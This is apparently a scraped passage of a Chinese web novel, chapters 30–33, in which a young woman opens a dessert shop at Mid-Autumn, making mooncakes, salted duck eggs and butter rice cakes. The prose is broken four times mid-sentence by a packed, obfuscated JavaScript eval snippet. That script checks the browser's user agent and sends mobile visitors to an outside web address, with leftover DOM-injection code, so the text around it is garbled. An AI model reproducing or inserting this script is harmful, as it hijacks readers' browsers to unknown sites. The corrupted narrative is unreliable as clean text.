再过几日就是中秋，人们当天走邻访里，互赠礼物，庆祝美满，庆祝团圆，是自古以来盛大而隆重的节日。 好安找人算过了，中秋是个好日子，宜开业。 于是，她找包工头商议了一下，希望他们不论是加人还是加班，最好能在中秋前几天完工，而且能在中秋前多少天完工她就额外多给多少天的工钱。 “那我们提前三天完工，就多给三天的工钱吗？”包工头不确定问道。 “对，提前几天就给几天，但不能因为这个以次充好。”好安回答。 包工头回去就转达了好安的意思，工匠们听后开心得不行，一致决定不加人，加班。这个铺子做下来能得多少钱是之前商量好的，多加一人，大伙就少分钱，但加班能多赚钱。现在天气也舒服，他们每天多做一会就行。 有了钱做动力，工匠们居然提前了整整五天。 “好老板，你看着这时间……”包工头腼腆的笑了笑，他们之前准备提前三天的，但没想到大家太干劲十足了，还超了两天。 “没事，之前说过提前多久就给多少钱。”好安检查了一圈，十分满意，大伙并没有因为赶时间就糊弄了事，现场结款时付得十分爽快。 虽是中秋开业，但也不能中秋当天才营业。当天走动的节礼不少都是提前几天买好的，于是好安准备提前三天开始试营业。 这几天她在早上出摊和学院门口的时候已经大力宣传过了，得到不少期待。为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990300|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 防止大家找错，店铺名字还叫好记，只是多了甜品两个字。 中秋节嘛，最好卖的必须是月饼。 县里不少点心铺子已经开始卖了，好安每家都买一点尝了尝。 万和县本地月饼有点像现代的苏式月饼，一口下去层层掉渣，口味也多种多样，但都偏甜口。就说甜园一家就有十种口味，桂花、枣泥、五仁、红豆……每样甜度都把控得刚刚好，多一点嫌腻，少一点则淡。 可所有人都爱甜吗？这可不一定。她就爱咸月饼！ 好安盘算了一下市场上能买到的食材决定推出鲜肉、梅干菜肉和咸蛋黄肉三种口味。 才三种，远远不够。要不要她也做点甜口的？好安没有多想，迅速决定做！ 月饼又不止苏氏一种，不还有广式月饼的和冰皮月饼嘛。 冰皮简单，要用的配料她都有，等试营业前一天做就行，提前做了反而会影响口感。 比较难得是广式月饼的饼皮。 广式月饼的饼皮要用到转化糖浆、碱水、面粉和花生油。 面粉和花生油能买到，碱水可以用草木灰制作，复杂的事这个转化糖浆。 转化糖浆里的白砂糖可以用她之前做的黄的.冰糖替代。她上次做的五桶都很成功，色似琥珀，晶粒轻盈，甜度极好。用它代替白砂糖还能增加一丝甘蔗风味。 主要不好找得是枸橼，就是柠檬。她也不是没见过人卖，但都是在医馆，全被加工成柠檬干了。好安和他们定了新鲜的，但最早也要等五天，和她开业同一天。 可广式月饼做好了需要回油一到两天。回油过后的月饼口感才最佳。她总不能和顾客说这买回家当天不要吃，放两天再吃。而且她当天要忙开业，白天不一定有时间做月饼。 偏偏柠檬还是转化糖浆中必不可少的东西，这东西不仅能转化蔗糖，还影响风味和颜色。 最后在县里逛了一圈，好安决定用白醋或者酸奶替代柠檬。 之前她用白糯米发酵了一批白醋，风味不错。酸奶现在这个天气也能发酵，就是慢些。 两种都做，看那个口味好就用哪个。 既然做了广式月饼就一定要做莲蓉馅的。 莲蓉馅广式月饼可以说是广式月饼的开山鼻祖，是广式月饼的“灵魂口味”之一。 皮薄肉厚的白莲莲子去芯蒸煮，打烂成泥，再加上糖和油，翻炒到浓稠，经典莲蓉便做好了。 再裹上饼皮，压模烘烤，中途要刷上一层薄薄的鸡蛋黄液，增香增色！ 两种饼皮月饼出炉，好安仔细分析了一番。加了白醋的酸味明显，适合追求口味独特的人，加了酸奶的则带有一股奶香，它的酸味和莲蓉的甜味相互平衡，入口即化，是个大部分人的口味。 二者相比，优劣明显，不用多想，留了酸奶的。 饼皮搞定好安便开始批量生产，口味四种：莲蓉、红豆、芝麻，还有五仁。 再加上冰皮月饼的绿豆、紫薯、南瓜口味，也算凑了十种，十全十美。 30. 试营业 试营业前一天，好安做了一叠的宣传单。单子上字不多，以画为主，主要是各式各样的月饼。不仅画了月饼的整体模样，还画了切开，然后在每个图案的右下角还标记了口味和价格。红豆味的就画一个小红豆，南瓜味的就画一个小南瓜，方便不识字的人阅读。 “这月饼表面还有花纹哩。” “好像还是个莲花。” “旁边画了莲子，居然还有月饼是莲子口味！” “那这个有块肉，是月饼里还放肉吗？” 好安除了全县张贴派发传到，还找了几个机灵的小孩做推销。 “当然，画了什么就是什么口味，画肉的就是鲜肉月饼，咸口的可香了。” “月饼怎么还能做咸的？” “没人规定月饼不能做咸的啊。” “那这个和肉画一起黑乎乎弯曲曲的是什么？” “梅干菜肉月饼，也是咸的。” “你怎么每个都知道。” “因为我都吃过呀。”小孩得意道。 为了让他们更好的推销，好安让他们每个都尝了尝。 “那你说哪种的最好吃。” “当然是鲜肉的！一口咬下去都是肉，又香又酥！”回味着当时的味道，小孩忍不住咽了咽口水。 都是肉，有些人听着心痒痒了。 “嘿，小屁孩那这个画莲子的真是莲子口味的？” “我不是小屁孩！”这位小郎君站起来叉着腰，说道：“是莲子口味的，但人家叫莲蓉。” 他都能赚钱了，怎么还有人把他当小屁孩呢。哼这个人一点都不好，他不想在这了，他要换个地方去介绍！ “这个月饼里放肉是啥味呢？”一汉子拿着宣传单好奇不已。 “想知道就去买个尝尝。”他媳妇说道。 “放肉的得多贵啊，这铺子还在西边，那边就没便宜的铺子。”汉子面露纠结。 “刚刚那小孩不是说了嘛，最便宜的四文，最贵的十文。” “那这个肯定要十文。” “这上面写了梅干菜肉的四文，咸蛋黄肉和鲜肉的五文。”旁边和他一样，一边看着宣传纸，一边流口水道。 “四文？”汉子想了想，一个肉包子两文，一个鲜肉月饼四文，是贵了些，但中秋随便去哪买月饼都不便宜，别人家的还没有肉呢。 于是他看了看媳妇的脸色。 “去买吧。爹平时不爱吃甜的，这回中秋就买些咸的送给他。”他媳妇回屋数了四十文递给他，说道：“闺女在巷口玩呢，记得把她带上，让她挑一块喜欢的。” “得嘞！”汉子走到巷口抄起闺女架在脖子上就往城北去。 另一边，进店的第一人是之前买了不少红豆馅的老丈。他二话不说直接要了一个广式红豆月饼和冰皮绿豆月饼，然后跟着指引自己上二楼就餐。 或许是吃完觉得不错，下来后每样都要了一个，红豆馅的额外多要了俩。 “要包装吗？”谢宗林站在收银台后问道。今天好安负责前线，后方收钱的重任则交给谢宗林和好昕。 “我们包装有一种，一种免费，一种收费。”谢宗林指了指面前一边放着油纸，一边放着木盒说道。 “免费的就行，我自己吃。” “一共——八十一文。” “咦，小郎君你是不是算错了。我算是九十六文。”老丈算得比谢宗林快多了。 谢宗林认真解释道：“今天试营业，有优惠活动买四送一。您这单一共消费九十六文，可以免了一个十文的和一个五文的。所以现在只要再付八十一文。” 双方确认无误后，谢宗林才为老丈包装。 他先用夹子的把三种月饼分开。咸月饼直接用托盘里的油纸包装，冰皮月饼和广式月饼另拿油纸。然后熟练的用细麻神穿过油纸下面，再在上面和底部分别打上十字结，最后系上一个精巧的蝴蝶结。 好安在一旁看得十分满意，计算正确，包装正确，甚至每一个油纸上的好记标志谢宗林都能控制在同一个位置，看来这几天的训练很有成效。 老丈接过月饼并没有离开，而是好奇问道：“试营业什么意思？” 这个说辞他从来没听说过。 “我们还没有正式营业，在正式营业之前都统称试营业。”好安上前主动解释道。 “那你们买四送一的活动做到什么什么时候？” “从今天到正式营业后的三天内都有这个活动。” “正式营业的时间是？” “中秋。当天我们还会推出其他新品和活动。”好安笑着说道：“到时候还希望您来捧个场。” “来！”老丈爽快答应。要不是他儿子天天管着他让他少吃甜食，他不止开业当天来捧场，他想天天来捧场！ 好记甜品，汉子还没走近就一眼看到了和纸上一模一样的招牌，里面瞧着人还不少。 店铺里的环境氛围是县里从来没有的，不仅让人觉得耳目一新，还有种说不上来的好看和舒适。这家店一楼没有座位，只有中间和墙边有几个展示柜。墙上还钉木板，木板上也放着吃食。大伙不吵不闹，都拿着一个盘子和夹子在柜子前挑选自己想要的，人虽多却井然有序。 陌生的购物方式和氛围让汉子萌生退缩之意，感觉自己一进去就会打乱里面秩序。 “欢迎光临。”好安看见一人大人带着一个小孩在门口发呆便赶紧迎了上去。不管是不是来买东西的先迎进来再说，万一是呢。 “我们店现在是试营业期，有买四送一的活动呦。”好安脸含笑意，语气温和。 “我，我给她卖一块月饼。”汉子第一次进这么高档的店铺，一时有些结巴。 “小妹妹想要什么口味的呢？”好安将人引近铺子里，拿了一个盘子递给他，一一为她介绍道：“我们这有三种月饼，每种月饼都有不同的口味……” 好安把每种口味的口感描述得很详细，甜度也进行了对比，除了这对父女俩，有不少顾客也侧耳倾听。 最后在好安耐心的讲解下，小女孩选了一块广式红豆月饼，他父亲选了八个梅干菜肉月饼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992729|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “您好，四文梅干菜月饼八个，八文广式红豆月饼一个，一共是四十文，但今天买四送一，您可以优惠八文，实付三十二文就行。或者再拿两个四文的月饼，实付四十文。” 先前好安说买四送一的时候他不大确信，因为他们算的不一定有用。双方算的不一样，最终都是以店家为准。但这次他们居然算得一样唉。 汉子脸上露出憨厚的笑容，说道：“这么多够了。”说着数了三十二个铜板递给柜台后的人。 闺女一个，他和媳妇各一个，剩下六个给爹送去刚刚好。 好昕站在木箱上，把包装好的月饼递给顾客，面带笑容道：“欢迎下次光临。” 来消费的客人还是附近居民居多。一套十个月饼，八十文，今还有活动只要六十五文。这点钱对住在附近的人不算什么，都是成套成套的买，买回去后尝尝，觉得哪种好吃再回头来买自己喜欢的口味。 咸月饼和广式月饼都能放，只有冰皮月饼建议尽快吃完，好安让谢宗林和好昕在收银的时候再提醒顾客一下，但出人意料的是冰皮月饼是第一个卖完的。中午学院学生来的时候都没见到冰皮的影。 “哈哈，还是我们聪明，提前差人买好了！”赵瑾拎着月饼得意道：“我们三人，刚好一人一个冰皮月饼。” 赵瑾轩上二楼，一坐下就迫不及待的打开包装盒。 “好好看！”冰皮月饼比宣传单上画的好看多了。 盈盈一握的大小，配上温润的质感，看着淡雅清新，小巧精致。 口味不同的花纹和颜色也不同。南瓜味的饼皮半白半黄，做成了五瓣梅花的样式，紫薯味的是白紫混融，花纹是辛夷，绿豆味的饼皮则是全绿，印得是青葱翠竹。 他每个都想尝一个怎么办！赵瑾轩抬头扫了一眼其他俩人，见他们的目光也在徘徊犹豫，便开口建议道：“这没有刀不好分呐。要不，我们一人咬一口？” “倒也不必。”好明辉拿过包装盒的盖子，从盖顶的别扣里抽出一把竹刀和几个岔叉子。 “咦，这里还有东西？”赵瑾轩自言自语道。 “这里写了提示。”好明辉指了指挂在包装盒上的小册子。 “使用说名书？”何守文翻开看了看，随口说道：“明辉，这个人的字和你好像。” 好明辉尴尬的笑了笑，“有吗？” “这个人画画的笔触也——”话未说完，赵瑾轩和何守文齐刷刷看向好明辉，道：“这不会都是你写的画的吧。” “说，你和好记甜品之间还有什么是我们不知道的！” 好明辉被两面夹击，只好吐露实情，说了他在好安那接活赚零花钱，以及自己能试吃新品的事情。 “好哥哥，好老板那还缺人吗？” “应该是缺的。”好明辉想了想说道。 “哥哥，求介绍！” “行，但是你们要保密。” 赵瑾轩和何守文连忙点头，等攀上好老板了还愁吃不到新品？当然这种蹭吃蹭喝的事情只能他们仨，绝对不能有第四人！ 31. 咸鸭蛋 酉时二刻，好安卖完最后几块月饼便关上店门，开始数钱。 今收的钱都堆在一个大桶里，铜板居多，偶尔有两三块碎银子。 别看这碎银子只有小指甲盖大，但一个能抵两三百个铜板。 碎银子好算，挑出来称重就行，让人头大的是这一桶的铜板。边数边串的话很容易数岔，一数岔就要重来，十分浪费时间。而且钱庄酉时四刻关门，她要赶在钱庄关门之前把钱存进去，不然这么多钱放家里也不放心。 为了赶时间，好安便想了个主意，一个人专门垒铜板，十个垒一摞，十摞排一排。一个人专门串铜板，一排串一串，十串捆一贯。前面的人要是数岔了，后面的人也能及时发现。 一时间铺子里都是清脆的叮当声。 掐着点，好安总算把钱送了过去，但账还没盘完。刚刚只是总收入，她还要算一算每种点心饮子的收益，看看有没有哪个成本可以再压一压。 这些好安一人就能搞定，便让其他人先去休息。 等好安忙完回到后院，发现院子大变样了。 之前一直都在忙着做月饼，后院里有不少杂物没有清理，所有房间中只有厨房是收拾好的。 但现在院子里的杂物全都不见了，地也扫过了，房间的桌椅床柜通通擦过了，甚至厨房还有烧好的热水。 “这都是你干的？” 好安不可置信的看向正在泡脚的田桂。 “不是，都是那个小谢。”田桂朝好安招招手，示意她过来一起泡。 “你从哪找来的帮工，这么卖力。今天都结束了他还在忙活。”田桂羡慕道：“你不知道，我刚到后院的时候就看见他端着脏水一盆一盆的朝外倒，比我家的老黄牛都勤快。” “我随便从路边拉的。”好安含糊道：“他现在人呢？” “带好昕出去买吃的了。他还能帮你带好昕！”田桂忽然惆怅道：“唉，比我哥有用。” “你哥怎么了？”好安问道。 田桂忍不住叹了口气，“前几天小表弟来我家，我娘就让我哥陪小表弟玩。我哥也不带他出去转悠，就在家和小表弟吹嘘，说他得了我爹的真传，什么都会扎。小表弟就说''那你扎个灯笼吧。''结果他扎了纸人灯笼，还没扎好就把人吓哭了。到现在小表弟都不敢一个人睡。” “哈，噗。”好安憋笑，“你哥可能是太热爱这门手艺了，情不自禁。” “才不是。他们打赌的，说我哥要是能扎一个比他还要大的灯笼就拜我哥为师。但我哥没扎过大灯笼拿不准，就扎了个大纸人，说纸人灯笼也是灯笼。” …… 初秋的晚风摇摇晃晃，吹散了夏日的暑气，还吹来了隐隐约约的桂香。 谢宗林刚回来就看到好安坐在桂花树下笑得灿烂，细小的花朵夹着晚霞，慢悠悠的落在肩膀上，也落在心上。 “小谢，你后面还有活计吗？我们家杀猪的时候缺人……”田桂见谢宗林回来，当着好安的面就开始招揽。这么勤快的人要是来她家洗大肠一定洗得干净。 “长工！”好安连忙打断田桂的话说道：“我家长工。” 谢宗林听到好安这么说跟着点了点头，轻抿的嘴角难掩笑意。 “太可惜了。”田桂遗憾道。 忙活了一天，四人也不准备回村，直接在县里住下。至于明天还要上学的好昕，好安不放心他一个人回去，只能辛苦他明天早起了。 谢宗林回来的时候还带了一条大黄鱼。 中秋附近正是黄鱼的索饵期，这个时候的黄鱼易于捕捞，而且肉质肥厚，口感鲜美细腻。 田桂杀猪麻利，杀鱼更不在话下。 黄鱼下方有个小洞，田桂先在洞下一指宽的地方浅浅切了一刀，再拿两根筷子从鱼嘴伸进去，压住鱼鳃，一直伸到鱼肚子里，然后轻轻揉揉的转了几圈，鱼鳃和内脏就都被带了出来。 “厉害吧。”田桂得意地晃了晃脑袋，“你是要蒸还是烧？” “都不用。” “不蒸不烧还能怎么吃？煎？”田桂疑惑。 黄鱼是万和县餐桌上的常客，主要吃法不是清蒸就是红烧。黄鱼年糕还是万和县的特色菜呢。 “也不是煎。等吃饭的时候你就知道啦！”好安神秘道，说完把田桂请出厨房。 顺着黄鱼的鳃，好安将鱼肉取出，用花雕和盐稍稍腌制一下，去腥增香，再上锅蒸熟。 蒸熟后去骨留肉并撕成细短条和鸡蛋清混合，用来当做软嫩的蟹肉。鸡蛋黄则和碾碎的咸蛋黄倒在一起搅匀，模仿蟹黄的沙沙口感。 先炒“蟹肉”，再炒“蟹黄”。最后两二者融合，淋上预备好的姜醋汁，一盘老少皆宜的赛螃蟹就新鲜出炉了。 “开饭啦。”好安喊好昕把饭端到院子里。 “鱼呢？”田桂看着菜一道一道的被端出来，最后连熬粥的锅都端出来了也没瞧见鱼的身影。 好昕：“鱼？” 别说田桂了，端菜的好昕也没瞧见。 “做了呀，你仔细找找。”好安对着桌子抬了抬一下巴，戏谑道。 肉眼没找到，田桂就挨个夹了一筷，用嘴巴找。 “这个是螃蟹？” 田桂不确定，又尝了一口说道：“这个是鱼？” “这个是螃蟹。” 好昕觉得田桂姐姐真不聪明，鱼和螃蟹都分不清。黄色的是蟹黄，白色的是蟹肉，多明显，而且吃起来软嫩鲜甜分明就是螃蟹的味道。 田桂不信，又连尝了几口。要是螃蟹的话蟹肉也太嫩了，几乎入口即化，总觉得少了些什么。 田桂：“它就是鱼。” 好昕：“它是螃蟹。” “是鱼！” “是螃蟹！” ...... 两人商量商量着饭也不吃了，吵起嘴来。好安也不劝，和谢宗林相视一笑，埋头夹菜吃饭。 “今天买螃蟹了吗？”田桂找到了有力证据，反问道。 好昕愣住，仔细想了一圈才说道：“没有。” “没买螃蟹，哪来的螃蟹？”田桂铿锵有力地说道：“所以——它，就，是，鱼！” “姐姐。”好昕找不到反驳的理由，又气又委屈的看向好安。 好安笑着抬手摸了摸他的脑袋，说道：“是不是很像。” “白的是鱼肉，那口感沙沙的是什么？”得了好安的肯定，田桂迫不及待地问道。就是这个东西差点把她给骗了。 好安指着墙角里还没来的及腌制的鸭蛋说道：“咸鸭蛋黄。” 田桂恍然大悟，大筷地夹了几口赛螃蟹。 忽然，她兴奋道：“我发现了一个赚钱的法子！” “什么法子？”三个脑袋齐刷刷抬头。 众目之下，田桂翩然起身，脚踩板凳，手指天空，意气风发道：“我哥就喜欢吃螃蟹，我可以用这个去骗他的零花钱！” “那我就去告诉田高哥哥，你骗他！”好昕气呼呼地说道。 “你别说，田桂姐姐赚的零花钱给你买糖吃。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15007629|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “哼~田高哥哥也会给我糖吃。”好昕说着狠狠地刨了一口饭。 饭后无事，四人坐在院中树下闲聊。 今天连忙了数个时辰，乍一闲着还有点不适应，于是好安拖出一筐新鲜的鸭蛋摆到四人中间。 “腌咸鸭蛋吧。” “鸭蛋不是在清明到端午节间腌吗？” “随时都能腌，只不过清明前后鸭子吃鱼虾、螺狮这些活食多，爱下蛋，黄还饱满容易出油。” “光腌鸭蛋有什么意思。我们今晚比赛，比谁的鸭蛋腌得油亮，谁挑的蛋双黄多！” “比！”好昕今晚猜鱼没猜对，又听田桂提议比赛，胜负心一下起来了，第一个附和道。 “行。”好安说道：“那我们用什么方法腌？” 好安同意，谢宗林自然无异议。 “用黄泥。” “用盐水。” 好昕和田桂同时说道。 眼看二人又要掰扯起来，好安连忙插话道：“方法不限。” “那我和安安用一种方法。”田桂说道。 好昕不同意，说道：“我姐姐和我用一种方法。” “四种！”好安迅速补充道：“我们四个人一人一种方法，看那种方法最好。” 这个提议全票通过。最后好昕用黄泥，田桂用盐水，谢宗林用白酒，好安用草木灰。 盐水和白酒比较简单，方法也类似，只要把洗干净的鸭蛋放入盐水和盐酒水里密封好就行。 草木灰和黄泥的稍微复杂些，不仅要洗干净晾干，还要均匀的裹上草木灰和黄泥。 田桂和谢宗林腌好自己的便来帮好安和好昕。 好昕手小，一个鸭蛋要抹三把黄泥，没一会脸上身上到处都是泥巴。 “你这样。”田桂帮好昕把鸭蛋放进黄泥里还顺带摆了个猪头，边做边玩。 好昕也有样学样，摆了一个更大的。 “你这猪鼻子太小。”田桂说着把充当猪鼻孔的两个鸭蛋放平。猪鼻子瞬间脏了，变成一半是淡淡的青绿色，一半是脏兮兮的黄泥。 好昕皱眉道：“脏了不好看。” “好看的，这是一头刚拱完地浑身有使不完劲的猪，脏点正常。”田桂说道。 “拱地多疼呀。”好昕转头看向姐姐，问道：“猪能不能不拱地。” “姐姐没养过猪，这个你还是要问田桂姐姐。” “不能。猪饿了拱地，热了拱地，无聊了拱地，开心了还是拱地，没有一头猪不拱地。”田桂肯定道。 说到猪，好安便想起上次谯猪的事，问道：“你家猪现在怎么样了？” 说道这个，田桂来劲了。 “现在巨能吃，还能长肉！”田桂笑道：“谯完前几天，看着蔫嗒嗒，结果几天后一天比一天能吃。刚开始我还偷偷喂过几回，不敢让我娘发现。” “但还是被发现了。” “对。它们后面实在太能吃了，瞒不住了。吃了睡睡了吃，一吃不饱不是哼哼叫，就是在食槽边打转。我娘一开始还以为猪生病了，一个一个检查了才发现那个东西没了，连夜把我从床上拖起来问。” “你怎么说？” “我就说''你看，是不是长肉特别快''！”田桂叉着腰，模仿当时“宁死不屈”的模样。 “你娘夸你没？” “这个——”田桂面露尴尬。 “你娘骂你了？” 田桂点点头，讪讪说道：“我把她留做种猪的那头也谯了。” 32. 黄油年糕 中秋当天，好记甜品隆重开业。 好安给李叔图纸，订了六个开业花篮，再配上当季的鲜花和祝福语，摆放在门店两侧，十分显眼。 此外又请了舞狮队，准备从早上热闹到晚上。 除了这些“硬件”，好安还搞了些“隐形”的揽客方式——用味道勾人。 一早上，她就开始做一些烤起来气味浓烈的点心。 于是，附近的居民刚适应完月饼的气味，今又突然闻到一股截然不同的香气。 先是浓烈的奶香中混合着淡淡的米香，然后是焦香缓缓溢出。等察觉时，这三种味道已经融为一体，变得醇厚香甜。 有些人是被自家孩子摇醒的。一睁眼就看见孩子趴在床头，眼睛亮晶晶的看着自己。 “娘，我们快去买好吃的。”说着还吸溜了一下口水。 “吃什么好吃的！一大早趴床头，是想吓死你娘吗？我看你是欠揍！” 有的人家父母起得早，却板着一张脸。 “你昨天不是说牙疼吗？” “今天不疼了！爹，你就快去买一点吧。” “不行，你娘说你要少吃甜的。” “我就吃一口，不告诉娘。” “一口都不行！”男人转身不理会儿子，自己却暗中深吸了几口气。这香气应该是好记出了新品，等应付完儿子他就去偷偷买点尝尝。 孩子见要不到，便开始哭闹：“我不管，我就要吃，我就要吃。” “对了，你是不是还剩一块莲蓉馅的月饼？”男人说道：“甜的你都不能吃，赶紧交出来。” 新的没要到，旧的眼看也要保不住了，孩子眼珠一转，麻溜滚蛋。 摆脱了儿子，男人慢悠悠的朝好记走去。孩子见大人走了，也跟着出门，联系上和他“同病相怜”的朋友们。 “我有五文。” “我还有三文。” “我，我没有了。” “你昨日不是还剩十文吗？” “我昨天没忍住，买了一杯奶茶。” “那我们先去看看这个香香的要多少钱吧。” …… 邀请好友也是开业的重要部分。一可拉近关系，二可展示实力。 王宁便是好安邀请的人里第一个到的。 这次还是他第一次进好记，但好记推出的吃食他已经一个不落的尝了一遍。 他预料到好记会给人带来惊喜，可真正吃到嘴里还是大吃一惊。 今来了店里，又亲眼见了这别具一格的装饰和与众不同的售卖方式，让他越发感叹好安不简单。 从她没有选择直接卖冰粉方子，而是先把冰粉打出名气让自己有底气了，再来谈合作时他就觉得这姑娘是个有主意的。 后面冰粉被他占了便宜，她也没有恼羞成怒撕毁合约，反而甩手丢出一个类似的方子，逼得他不得不高价收卖时，他意识到这个姑娘聪明又机灵。 如今人家铺子都开起来了，足见还是个有野心的。 王宁一边把贺礼递给好安，一边再次后悔之前得罪好安。 “这个好软糯香甜，是用醍醐做的吗？”脚快手快嘴更快的王宁已经吃上了。 话刚问出口，王宁就知道问错了。 冒然询问别人的方子已是失礼，而且这一盒里面有八个，只要十文。要是用醍醐怕是本都收不回来吧。 “不是哦。”好安笑笑并不介意。 今日推出的新品是黄油年糕，外脆里软，Q弹不粘牙。 她原本也确实打算用醍醐做，万和县正好有卖的，直接买来做还省事。 但醍醐制作工艺复杂，三十公斤牛奶只能提炼出一公斤醍醐，价格一直居高不下。为了控制成本，好安只好自己提炼黄油。 制作黄油比制作醍醐简单，方法一字以蔽之——摇！ 静置的牛奶会析出奶油层，把奶油倒入密封的罐子里，之后就是摇。 奶油因晃动逐渐变得浓稠，其中的脂肪开始聚集，形成浅黄色的脂肪团，等到明显成型后取出，用冰水清洗去除杂质，得到的便是黄油了。 摇的时候最好还不要间断，他们几人胳膊有限，最后还是花钱雇了一个经常干力气活的人和谢宗林对着摇才摇出一碗的量。 就这也比醍醐便宜好多！ “好老板机智多才，短短几天，万和县谁不知道好记甜品。”王宁谄媚道：“好老板以后要多多提点老弟呀。” 王宁对着好安自称老弟也不觉得丢脸。生意场上能赚钱的别说是当大哥了，爹娘也当得。 “王老板过谦了。好记只是刚出头，哪比得上王记的根基。以后还是要倚仗王记提携。” …… 二人客套一番后，王宁还要赶着去走亲访友，便起身告辞。 前脚送走王宁，后脚又迎了几位前来庆贺的人。 这个年代，开业除了邀请亲朋好友，其他邀请最多的是同行、名流或者金主靠山。 同行能交流，名流能扩大名气，金主靠山能提供资金。 好安却邀请了几位和这些都不搭边的，她的上游——粮食铺。 这几家粮食铺都是她精挑细选的。有的油好，有的面好，皆各有所长。 铺子里每日用的油米面可是一笔不小的开销，她今可要好好的招待这几位。相互了解了解，摸一摸深浅，再画一画大饼，看看油米面这些东西能不能再便宜上几文。 几位东家一开始还好奇好记邀请他们干什么，等瞧见一盘一盘朝外端的月饼和长长的结账队伍，才反应过来好记在这朝他们展示自己呢。 照这架势看，好记一个月得要不少粮食。来的这几位都吃过好记，也对好记十分看好。好安稍稍暗示了一下，他们都觉得价格可以再商量，纷纷另约了时间详谈。 这几位送走，再来的都是些按照当地习俗要请的人，大家相互吹捧一下便算完事。 午时一到，人逐渐变少，好安立刻让大家岔开吃饭，这是前几天摸出的规律。 好安则利用这段时间统计了一下每样产品的余量，估算一下还要再准备多少。 今天月饼依旧是卖得最多的，新推出的黄油年糕反而有点受阻，连铜锣烧和钵仔糕都没超过，销量趴底。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020401|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不应该啊。好安站在一旁观察顾客的对黄油年糕的态度。 进好记大门的人大部分都是有消费欲望的。这些人总体分成两部分，一部分看也不看，直接拿起一包结账走人，一看就是冲着新品来的，还有一部分人见黄油年糕是包装好的，不能看到实物，也闻不到什么味道，便兴趣缺缺转头看向其他产品。 好安低头沉思了一会，转身回到后厨。 包装已经包好了，是不可能拆的。 但她还有一些没包装的。 今早烤第一锅的时候，烤箱温度没控制好，有点高，最表面的面糊成型太快，膨胀的也快，但内里的温度没有跟上，水分蒸发不出来。出锅冷却后，出现了塌陷或者窝坑的问题，非常影响外观，所以这一锅好安没拿出去卖，一直在后厨放着。 但现在就是他们派上用场的时候了。 下午，好安将这些变形的黄油年糕剪开，重新涂上少许黄油，回炉重造一下，就变成脆脆的小块的黄油年糕。 再倒进盘子里，插上小竹签。 “黄油年糕新鲜出炉，免费试吃啦，大伙快来尝一尝。”好安一边把盘子放到黄油年糕展示柜旁边，一边大声吆喝道：“先吃后买，买不了吃亏，买不了上当。机会难得，走过路过不要错过嘞。” 好安在后厨刷油重烤时散出的香味就勾得不少人心痒痒。现在还有免费试吃，不少人都露出跃跃欲试的神情。 一下子，黄油年糕的销量就起来了，包装好的十几盒没一会便一抢而空。好安连忙回后厨多烤些。 好安正在脱模，忽然听周娟朝后厨喊道：“好来婶来了！” “快，请到后院来。” 灶台和桌子上都临时摆满了东西，黄油年糕的模具是瓷的，笨重又易碎，需要放一个安稳的地方。好安只能一边扛着模具，一边收拾东西腾地方，一时竟无法出去迎接。 还好好来婶不是生意上的伙伴，要是让那些合作方知道了，平日里在外干脆利落的好老板还有这么手忙脚乱的时候肯定要被笑话死。 “你这个铺子位置好，每年游画灯的时候都要经过这。”好来婶一进来便夸道。 “是吗？”好安还是第一次听说这事。 “当然，只要有重要的事情，你这都是必经之地。” 好安一挪出空地便立刻把模具放下，给他们斟茶。 好来婶不是一个人来的，身后还带着两个壮汉。这两人好安都见过，一个是好昕的朋友大牛他爹，一个是村长的表侄孙，二人都是村里出了名的沉默不语型的大力士。 他俩都不是一个辈分，平时也没听说有什么密切往来，怎么中秋一起出门了？ 好来婶看出好安的疑惑，提醒道：“你忘啦，今是你大伯娘出来的日子。” “对对付。”最近太忙了，居然把这事给忘了。也不知道王翠花在里面是知错了还是进化了。 “村长知道你在县里开店不容易，今天又刚开业。他怕王翠花出来后不回家，跑到你铺子里给你添乱。”好来婶看向他二人说道：“这不让我带两个力气大的来接王翠花回家。” 33. 斋饭 王翠花一回家，好大山什么也不做了，天天嚷嚷着要休妻。 王翠花哪能如他意。 